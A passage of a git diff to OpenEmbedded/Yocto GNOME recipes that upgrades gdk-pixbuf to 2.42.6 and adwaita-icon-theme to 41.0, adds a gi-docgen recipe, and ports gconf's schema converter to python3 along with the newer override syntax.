+++ /dev/null
@@ -1,28 +0,0 @@
-From 1a532e090c558a830de9503f56e23414e880bb95 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 5 Jun 2019 14:17:55 +0200
-Subject: [PATCH] Build thumbnailer and tests also in cross builds.
-
-Upstream-Status: Inappropriate [relies on oe-core specific hacks]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- meson.build | 6 ++----
- 1 file changed, 2 insertions(+), 4 deletions(-)
-
-diff --git a/meson.build b/meson.build
-index d104cea..7acb88a 100644
---- a/meson.build
-+++ b/meson.build
-@@ -397,10 +397,8 @@ endif
- # i18n
- subdir('po')
-
--if not meson.is_cross_build()
-- subdir('tests')
-- subdir('thumbnailer')
--endif
-+subdir('tests')
-+subdir('thumbnailer')
-
- # Documentation
- subdir('docs')
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.38.2.bb b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.38.2.bb
deleted file mode 100644
index c99510609c..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.38.2.bb
+++ /dev/null
@@ -1,126 +0,0 @@
-SUMMARY = "Image loading library for GTK+"
-DESCRIPTION = "The GDK Pixbuf library provides: Image loading and saving \
-facilities, fast scaling and compositing of pixbufs and Simple animation \
-loading (ie. animated GIFs)"
-HOMEPAGE = "https://wiki.gnome.org/Projects/GdkPixbuf"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gdk-pixbuf/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://gdk-pixbuf/gdk-pixbuf.h;endline=26;md5=72b39da7cbdde2e665329fef618e1d6b \
- "
-
-SECTION = "libs"
-
-DEPENDS = "glib-2.0 gdk-pixbuf-native shared-mime-info"
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
- file://run-ptest \
- file://fatal-loader.patch \
- file://0001-Work-around-thumbnailer-cross-compile-failure.patch \
- file://0001-Fix-a-couple-of-decisions-around-cross-compilation.patch \
- file://0004-Do-not-run-tests-when-building.patch \
- file://0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch \
- "
-
-SRC_URI_append_class-target = " \
- file://0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch \
- "
-SRC_URI_append_class-nativesdk = " \
- file://0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch \
- "
-
-SRC_URI[md5sum] = "cc1d712a1643b92ff0904d589963971f"
-SRC_URI[sha256sum] = "73fa651ec0d89d73dd3070b129ce2203a66171dfc0bd2caa3570a9c93d2d0781"
-
-inherit meson pkgconfig gettext pixbufcache ptest-gnome upstream-version-is-even gobject-introspection gtk-doc lib_package
-
-GIR_MESON_OPTION = 'gir'
-
-EXTRA_OEMESON_append = " ${@bb.utils.contains('PTEST_ENABLED', '1', '-Dinstalled_tests=true', '-Dinstalled_tests=false', d)}"
-
-LIBV = "2.10.0"
-
-GDK_PIXBUF_LOADERS ?= "png jpeg"
-
-PACKAGECONFIG = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} ${GDK_PIXBUF_LOADERS}"
-PACKAGECONFIG_class-native = "${GDK_PIXBUF_LOADERS}"
-
-PACKAGECONFIG[png] = "-Dpng=true,-Dpng=false,libpng"
-PACKAGECONFIG[jpeg] = "-Djpeg=true,-Djpeg=false,jpeg"
-PACKAGECONFIG[tiff] = "-Dtiff=true,-Dtiff=false,tiff"
-PACKAGECONFIG[jpeg2000] = "-Djasper=true,-Djasper=false,jasper"
-
-PACKAGECONFIG[x11] = "-Dx11=true,-Dx11=false,virtual/libx11"
-
-PACKAGES =+ "${PN}-xlib"
-
-# For GIO image type sniffing
-RDEPENDS_${PN} = "shared-mime-info"
-
-FILES_${PN}-xlib = "${libdir}/*pixbuf_xlib*${SOLIBS}"
-ALLOW_EMPTY_${PN}-xlib = "1"
-
-FILES_${PN} += "${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
-
-FILES_${PN}-bin += "${datadir}/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer"
-
-FILES_${PN}-dev += " \
- ${bindir}/gdk-pixbuf-csource \
- ${bindir}/gdk-pixbuf-pixdata \
- ${bindir}/gdk-pixbuf-print-mime-types \
- ${includedir}/* \
- ${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders/*.la \
-"
-
-PACKAGES_DYNAMIC += "^gdk-pixbuf-loader-.*"
-PACKAGES_DYNAMIC_class-native = ""
-
-python populate_packages_prepend () {
- postinst_pixbufloader = d.getVar("postinst_pixbufloader")
-
- loaders_root = d.expand('${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders')
-
- packages = ' '.join(do_split_packages(d, loaders_root, r'^libpixbufloader-(.*)\.so$', 'gdk-pixbuf-loader-%s', 'GDK pixbuf loader for %s'))
- d.setVar('PIXBUF_PACKAGES', packages)
-
- # The test suite exercises all the loaders, so ensure they are all
- # dependencies of the ptest package.
- d.appendVar("RDEPENDS_%s-ptest" % d.getVar('PN'), " " + packages)
-}
-
-do_install_append() {
- # Copy gdk-pixbuf-query-loaders into libdir so it is always available
- # in multilib builds.
- cp ${D}/${bindir}/gdk-pixbuf-query-loaders ${D}/${libdir}/gdk-pixbuf-2.0/
-
-}
-
-do_install_append_class-native() {
- find ${D}${libdir} -name "libpixbufloader-*.la" -exec rm \{\} \;
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-csource \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-pixdata \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-print-mime-types \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
-
- create_wrapper ${D}/${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
- GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-query-loaders \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
- GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
-}
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.6.bb b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.6.bb
new file mode 100644
index 0000000000..55c16e4d66
--- /dev/null
+++ b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.6.bb
@@ -0,0 +1,128 @@
+SUMMARY = "Image loading library for GTK+"
+DESCRIPTION = "The GDK Pixbuf library provides: Image loading and saving \
+facilities, fast scaling and compositing of pixbufs and Simple animation \
+loading (ie. animated GIFs)"
+HOMEPAGE = "https://wiki.gnome.org/Projects/GdkPixbuf"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gdk-pixbuf/issues"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://gdk-pixbuf/gdk-pixbuf.h;endline=26;md5=72b39da7cbdde2e665329fef618e1d6b \
+ "
+
+SECTION = "libs"
+
+DEPENDS = "glib-2.0 gdk-pixbuf-native shared-mime-info"
+DEPENDS:remove:class-native = "gdk-pixbuf-native"
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
+ file://run-ptest \
+ file://fatal-loader.patch \
+ file://0001-Add-use_prebuilt_tools-option.patch \
+ "
+
+SRC_URI[sha256sum] = "c4a6b75b7ed8f58ca48da830b9fa00ed96d668d3ab4b1f723dcf902f78bde77f"
+
+inherit meson pkgconfig gettext pixbufcache ptest-gnome upstream-version-is-even gobject-introspection gi-docgen lib_package
+
+GIR_MESON_OPTION = 'introspection'
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+LIBV = "2.10.0"
+
+GDK_PIXBUF_LOADERS ?= "png jpeg"
+
+PACKAGECONFIG = "${GDK_PIXBUF_LOADERS} \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+PACKAGECONFIG:class-native = "${GDK_PIXBUF_LOADERS}"
+
+PACKAGECONFIG[png] = "-Dpng=true,-Dpng=false,libpng"
+PACKAGECONFIG[jpeg] = "-Djpeg=true,-Djpeg=false,jpeg"
+PACKAGECONFIG[tiff] = "-Dtiff=true,-Dtiff=false,tiff"
+PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false"
+
+EXTRA_OEMESON:class-target = " \
+ -Duse_prebuilt_tools=true \
+"
+
+EXTRA_OEMESON:class-nativesdk = " \
+ -Duse_prebuilt_tools=true \
+"
+
+PACKAGES =+ "${PN}-xlib"
+
+# For GIO image type sniffing
+RDEPENDS:${PN} = "shared-mime-info"
+
+FILES:${PN}-xlib = "${libdir}/*pixbuf_xlib*${SOLIBS}"
+ALLOW_EMPTY:${PN}-xlib = "1"
+
+FILES:${PN} += "${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
+
+FILES:${PN}-bin += "${datadir}/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer"
+
+FILES:${PN}-dev += " \
+ ${bindir}/gdk-pixbuf-csource \
+ ${bindir}/gdk-pixbuf-pixdata \
+ ${bindir}/gdk-pixbuf-print-mime-types \
+ ${includedir}/* \
+ ${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders/*.la \
+"
+
+PACKAGES_DYNAMIC += "^gdk-pixbuf-loader-.*"
+PACKAGES_DYNAMIC:class-native = ""
+
+python populate_packages:prepend () {
+ postinst_pixbufloader = d.getVar("postinst_pixbufloader")
+
+ loaders_root = d.expand('${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders')
+
+ packages = ' '.join(do_split_packages(d, loaders_root, r'^libpixbufloader-(.*)\.so$', 'gdk-pixbuf-loader-%s', 'GDK pixbuf loader for %s'))
+ d.setVar('PIXBUF_PACKAGES', packages)
+
+ # The test suite exercises all the loaders, so ensure they are all
+ # dependencies of the ptest package.
+ d.appendVar("RDEPENDS:%s-ptest" % d.getVar('PN'), " " + packages)
+}
+
+do_install:append() {
+ # Copy gdk-pixbuf-query-loaders into libdir so it is always available
+ # in multilib builds.
+ cp ${D}/${bindir}/gdk-pixbuf-query-loaders ${D}/${libdir}/gdk-pixbuf-2.0/
+
+}
+
+# Remove a bad fuzzing attempt that sporadically fails without a way to reproduce
+do_install_ptest() {
+ rm ${D}/${datadir}/installed-tests/gdk-pixbuf/pixbuf-randomly-modified.test
+}
+
+do_install:append:class-native() {
+ find ${D}${libdir} -name "libpixbufloader-*.la" -exec rm \{\} \;
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-csource \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-pixdata \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-print-mime-types \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
+
+ create_wrapper ${D}/${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
+ GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-query-loaders \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
+ GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
+}
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gi-docgen/gi-docgen_git.bb b/meta/recipes-gnome/gi-docgen/gi-docgen_git.bb
new file mode 100644
index 0000000000..6a7124c3fe
--- /dev/null
+++ b/meta/recipes-gnome/gi-docgen/gi-docgen_git.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Documentation tool for GObject-based libraries"
+DESCRIPTION = "GI-DocGen is a document generator for GObject-based libraries. GObject is \
+the base type system of the GNOME project. GI-Docgen reuses the \
+introspection data generated by GObject-based libraries to generate the API \
+reference of these libraries, as well as other ancillary documentation."
+HOMEPAGE = "https://gnome.pages.gitlab.gnome.org/gi-docgen/"
+
+LICENSE = "GPL-3.0-or-later & Apache-2.0"
+LIC_FILES_CHKSUM = "file://gi-docgen.py;beginline=1;endline=5;md5=2dc0f1f01202478cfe813c0e7f80b326"
+
+SRC_URI = "git://gitlab.gnome.org/GNOME/gi-docgen.git;protocol=https;branch=main"
+
+PV = "2022.1"
+SRCREV = "37b04455ff58cb2ec3f58917d0737c435344f2fb"
+
+S = "${WORKDIR}/git"
+
+inherit setuptools3
+
+RDEPENDS:${PN} += "python3-asyncio python3-core python3-jinja2 python3-json python3-markdown python3-markupsafe python3-pygments python3-toml python3-typogrify python3-xml"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch
index a062aa63d3..5afba3c644 100644
--- a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch
+++ b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch
@@ -1,4 +1,4 @@
-From 4409423752885f76326d05c1266698155f47c5f9 Mon Sep 17 00:00:00 2001
+From 63d97fefdbc90f5c68f67bdc30844776d9a1b720 Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Tue, 30 May 2017 14:55:49 +0300
Subject: [PATCH] Don't use AC_CANONICAL_HOST
@@ -14,12 +14,12 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
1 file changed, 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 4a84501..52dbb8e 100644
+index f2659a5..1e8b016 100644
--- a/configure.ac
+++ b/configure.ac
@@ -3,7 +3,6 @@ AC_PREREQ(2.53)
- AC_INIT([adwaita-icon-theme], [3.34.0],
+ AC_INIT([adwaita-icon-theme], [41.0],
[http://bugzilla.gnome.org/enter_bug.cgi?product=adwaita-icon-theme])
-AC_CANONICAL_HOST
AC_CONFIG_MACRO_DIR([m4])
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch
index c4d7e2583b..a1d39cf558 100644
--- a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch
+++ b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch
@@ -1,20 +1,21 @@
-From 8dcd73b45a660dbdc560676835ba46f495334f14 Mon Sep 17 00:00:00 2001
+From 79da031e9811f3eef34b14cce419be93fea34319 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 13 Jun 2017 18:10:06 +0300
Subject: [PATCH] Run installation commands as shell jobs
This greatly speeds up installation time on multi-core systems.
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/adwaita-icon-theme/-/merge_requests/39]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
- src/fullcolor/Makefile.am | 3 ++-
- src/spinner/Makefile.am | 5 +++--
- src/symbolic/Makefile.am | 7 ++++---
- 3 files changed, 9 insertions(+), 6 deletions(-)
+ src/fullcolor/Makefile.am | 5 +++--
+ src/spinner/Makefile.am | 7 ++++---
+ src/symbolic/Makefile.am | 11 ++++++-----
+ 3 files changed, 13 insertions(+), 10 deletions(-)
diff --git a/src/fullcolor/Makefile.am b/src/fullcolor/Makefile.am
-index 1c940a5..3998ee6 100644
+index d73529b..b7d0808 100644
--- a/src/fullcolor/Makefile.am
+++ b/src/fullcolor/Makefile.am
@@ -9,9 +9,10 @@ install-data-local:
@@ -31,7 +32,7 @@ index 1c940a5..3998ee6 100644
## FIXME we should add a way to remove links generated by icon mapping
uninstall-local:
diff --git a/src/spinner/Makefile.am b/src/spinner/Makefile.am
-index 86f4d7c..3fae8c1 100644
+index c14caf6..322dc0d 100644
--- a/src/spinner/Makefile.am
+++ b/src/spinner/Makefile.am
@@ -24,13 +24,14 @@ install-data-local:
@@ -45,18 +46,18 @@ index 86f4d7c..3fae8c1 100644
context="`dirname $$file`"; \
$(mkdir_p) $(DESTDIR)$(themedir)/scalable-up-to-32/$$context; \
- $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32/$$file $(DESTDIR)$(themedir)/scalable-up-to-32/$$file; \
-+ $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32/$$file $(DESTDIR)$(themedir)/scalable-up-to-32/$$file & \
- done
++ $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32/$$file $(DESTDIR)$(themedir)/scalable-up-to-32/$$file & \
+ done; \
+ wait
uninstall-local:
for file in `cd $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32; find . -name "*.svg"`; do \
diff --git a/src/symbolic/Makefile.am b/src/symbolic/Makefile.am
-index 24aac9b..61ba071 100644
+index 957c0ee..e1f8818 100644
--- a/src/symbolic/Makefile.am
+++ b/src/symbolic/Makefile.am
-@@ -25,18 +25,19 @@ install-data-local:
+@@ -34,18 +34,19 @@ install-data-local:
for file in `cd $(top_srcdir)/$(SVGOUTDIR)/$$size; find . -name "*.png"`; do \
context="`dirname $$file`"; \
$(mkdir_p) $(DESTDIR)$(themedir)/$$size/$$context; \
@@ -81,6 +82,3 @@ index 24aac9b..61ba071 100644
uninstall-local:
for file in `cd $(top_srcdir)/$(SVGOUTDIR)/scalable; find . -name "*.svg"`; do \
---
-2.11.0
-
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme_3.34.0.bb b/meta/recipes-gnome/gnome/adwaita-icon-theme_3.34.0.bb
deleted file mode 100644
index 3f6b60fbde..0000000000
--- a/meta/recipes-gnome/gnome/adwaita-icon-theme_3.34.0.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "GTK+ icon theme"
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme/issues"
-SECTION = "x11/gnome"
-
-LICENSE = "LGPL-3.0 | CC-BY-SA-3.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c84cac88e46fc07647ea07e6c24eeb7c"
-
-inherit allarch autotools pkgconfig gettext gtk-icon-cache upstream-version-is-even
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
- file://0001-Don-t-use-AC_CANONICAL_HOST.patch \
- file://0001-Run-installation-commands-as-shell-jobs.patch \
- "
-
-SRC_URI[md5sum] = "41b860c17efe065849b0cbf46e88811a"
-SRC_URI[sha256sum] = "40b7e91f8263552b64d0f9beff33150291b086618ce498c71bf10035e48c7c7f"
-
-DEPENDS += "librsvg-native"
-
-PACKAGES = "${PN}-cursors ${PN}-symbolic-hires ${PN}-symbolic ${PN}-hires ${PN}"
-
-RREPLACES_${PN} = "gnome-icon-theme"
-RCONFLICTS_${PN} = "gnome-icon-theme"
-RPROVIDES_${PN} = "gnome-icon-theme"
-
-FILES_${PN}-cursors = "${prefix}/share/icons/Adwaita/cursors/"
-FILES_${PN}-symbolic-hires = "${prefix}/share/icons/Adwaita/96x96/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/64x64/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/48x48/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/32x32/*/*.symbolic.png"
-FILES_${PN}-symbolic = "${prefix}/share/icons/Adwaita/16x16/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/24x24/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/scalable/*/*-symbolic*.svg"
-FILES_${PN}-hires = "${prefix}/share/icons/Adwaita/256x256/ \
- ${prefix}/share/icons/Adwaita/512x512/"
-FILES_${PN} = "${prefix}/share/icons/Adwaita/ \
- ${prefix}/share/pkgconfig/adwaita-icon-theme.pc"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme_41.0.bb b/meta/recipes-gnome/gnome/adwaita-icon-theme_41.0.bb
new file mode 100644
index 0000000000..46f9f4772c
--- /dev/null
+++ b/meta/recipes-gnome/gnome/adwaita-icon-theme_41.0.bb
@@ -0,0 +1,43 @@
+SUMMARY = "GTK+ icon theme"
+DESCRIPTION = "The Adwaita icon theme is the default icon theme of the GNOME desktop \
+This package package contains an icon theme for Gtk+ 3 applications."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme/issues"
+SECTION = "x11/gnome"
+
+LICENSE = "LGPL-3.0-only | CC-BY-SA-3.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c84cac88e46fc07647ea07e6c24eeb7c \
+ file://COPYING_CCBYSA3;md5=96143d33de3a79321b1006c4e8ed07e7 \
+ file://COPYING_LGPL;md5=e6a600fd5e1d9cbde2d983680233ad02"
+
+inherit allarch autotools pkgconfig gettext gtk-icon-cache gnomebase
+
+SRC_URI += " \
+ file://0001-Don-t-use-AC_CANONICAL_HOST.patch \
+ file://0001-Run-installation-commands-as-shell-jobs.patch \
+ "
+
+SRC_URI[archive.sha256sum] = "ef5339d8c35fcad5d10481b70480803f0fa20b3d3cbc339238fcaceeaee01eba"
+
+DEPENDS += "librsvg-native"
+
+PACKAGES = "${PN}-cursors ${PN}-symbolic-hires ${PN}-symbolic ${PN}-hires ${PN}"
+
+RREPLACES:${PN} = "gnome-icon-theme"
+RCONFLICTS:${PN} = "gnome-icon-theme"
+RPROVIDES:${PN} = "gnome-icon-theme"
+
+FILES:${PN}-cursors = "${prefix}/share/icons/Adwaita/cursors/"
+FILES:${PN}-symbolic-hires = "${prefix}/share/icons/Adwaita/96x96/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/64x64/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/48x48/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/32x32/*/*.symbolic.png"
+FILES:${PN}-symbolic = "${prefix}/share/icons/Adwaita/16x16/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/24x24/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/scalable/*/*-symbolic*.svg"
+FILES:${PN}-hires = "${prefix}/share/icons/Adwaita/256x256/ \
+ ${prefix}/share/icons/Adwaita/512x512/"
+FILES:${PN} = "${prefix}/share/icons/Adwaita/ \
+ ${prefix}/share/pkgconfig/adwaita-icon-theme.pc"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gnome/gconf/python3.patch b/meta/recipes-gnome/gnome/gconf/python3.patch
new file mode 100644
index 0000000000..7c022a2e1b
--- /dev/null
+++ b/meta/recipes-gnome/gnome/gconf/python3.patch
@@ -0,0 +1,60 @@
+gconf: use python3
+
+Convert gsettings-schema-convert to use python3.
+
+Upstream-Status: Inappropriate [gconf is deprecated]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+
+--- a/gsettings/gsettings-schema-convert
++++ b/gsettings/gsettings-schema-convert
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # vim: set ts=4 sw=4 et: coding=UTF-8
+ #
+ # Copyright (c) 2010, Novell, Inc.
+@@ -603,7 +603,7 @@ class SimpleSchemaParser:
+ for line in lines:
+ current_line_nb += 1
+ self.parse_line(line)
+- except GSettingsSchemaConvertException, e:
++ except GSettingsSchemaConvertException as e:
+ raise GSettingsSchemaConvertException('%s:%s: %s' % (os.path.basename(self.file), current_line_nb, e))
+
+ return self.root
+@@ -1095,7 +1095,7 @@ def main(args):
+ try:
+ parser = GConfSchemaParser(argfile, options.gettext_domain, options.schema_id, options.keep_underscores)
+ schema_root = parser.parse()
+- except SyntaxError, e:
++ except SyntaxError as e:
+ raise GSettingsSchemaConvertException('\'%s\' does not look like a valid gconf schema file: %s' % (argfile, e))
+ else:
+ # autodetect if file is XML or not
+@@ -1104,7 +1104,7 @@ def main(args):
+ schema_root = parser.parse()
+ if not options.simple and not options.xml:
+ options.simple = True
+- except SyntaxError, e:
++ except SyntaxError as e:
+ parser = SimpleSchemaParser(argfile)
+ schema_root = parser.parse()
+ if not options.simple and not options.xml:
+@@ -1127,13 +1127,13 @@ def main(args):
+ fout = open(options.output, 'w')
+ fout.write(output)
+ fout.close()
+- except GSettingsSchemaConvertException, e:
++ except GSettingsSchemaConvertException as e:
+ fout.close()
+ if os.path.exists(options.output):
+ os.unlink(options.output)
+ raise e
+
+- except GSettingsSchemaConvertException, e:
++ except GSettingsSchemaConvertException as e:
+ print >> sys.stderr, '%s' % e
+ return 1
+
diff --git a/meta/recipes-gnome/gnome/gconf_3.2.6.bb b/meta/recipes-gnome/gnome/gconf_3.2.6.bb
index b8466d4833..776f6091aa 100644
--- a/meta/recipes-gnome/gnome/gconf_3.2.6.bb
+++ b/meta/recipes-gnome/gnome/gconf_3.2.6.bb
@@ -3,8 +3,8 @@ DESCRIPTION = "GConf is a system for storing application preferences. \
It is intended for user preferences; not configuration of something like \
Apache, or arbitrary data storage."
SECTION = "x11/gnome"
-HOMEPAGE = "https://projects.gnome.org/gconf/"
-LICENSE = "LGPLv2+"
+HOMEPAGE = "https://gitlab.gnome.org/Archive/gconf"
+LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605"
DEPENDS = "glib-2.0 dbus dbus-glib libxml2 intltool-native"
@@ -15,6 +15,7 @@ SRC_URI = "${GNOME_MIRROR}/GConf/${@gnome_verdir("${PV}")}/GConf-${PV}.tar.xz;na
file://remove_plus_from_invalid_characters_list.patch \
file://unable-connect-dbus.patch \
file://create_config_directory.patch \
+ file://python3.patch \
"
SRC_URI[archive.md5sum] = "2b16996d0e4b112856ee5c59130e822c"
@@ -27,12 +28,12 @@ EXTRA_OECONF = "--enable-shared --disable-static \
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'polkit', d)}"
# We really don't want Polkit for native
-PACKAGECONFIG_class-native = ""
+PACKAGECONFIG:class-native = ""
PACKAGECONFIG[polkit] = "--enable-defaults-service,--disable-defaults-service,polkit"
PACKAGECONFIG[debug] = "--enable-debug=yes, --enable-debug=minimum"
-do_install_append() {
+do_install:append() {
# this directory need to be created to avoid an Error 256 at gdm launch
install -d ${D}${sysconfdir}/gconf/gconf.xml.system
@@ -41,17 +42,19 @@ do_install_append() {
rm -f ${D}${libdir}/gio/*/*.*a
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}/${bindir}/gconftool-2 \
GCONF_BACKEND_DIR=${STAGING_LIBDIR_NATIVE}/GConf/2
}
-FILES_${PN} += "${libdir}/GConf/* \
+FILES:${PN} += "${libdir}/GConf/* \
${libdir}/gio/*/*.so \
${datadir}/polkit* \
${datadir}/dbus-1/services/*.service \
${datadir}/dbus-1/system-services/*.service \
"
-FILES_${PN}-dev += "${datadir}/sgml/gconf/gconf-1.0.dtd"
+RDEPENDS:${PN} = "python3-xml"
+
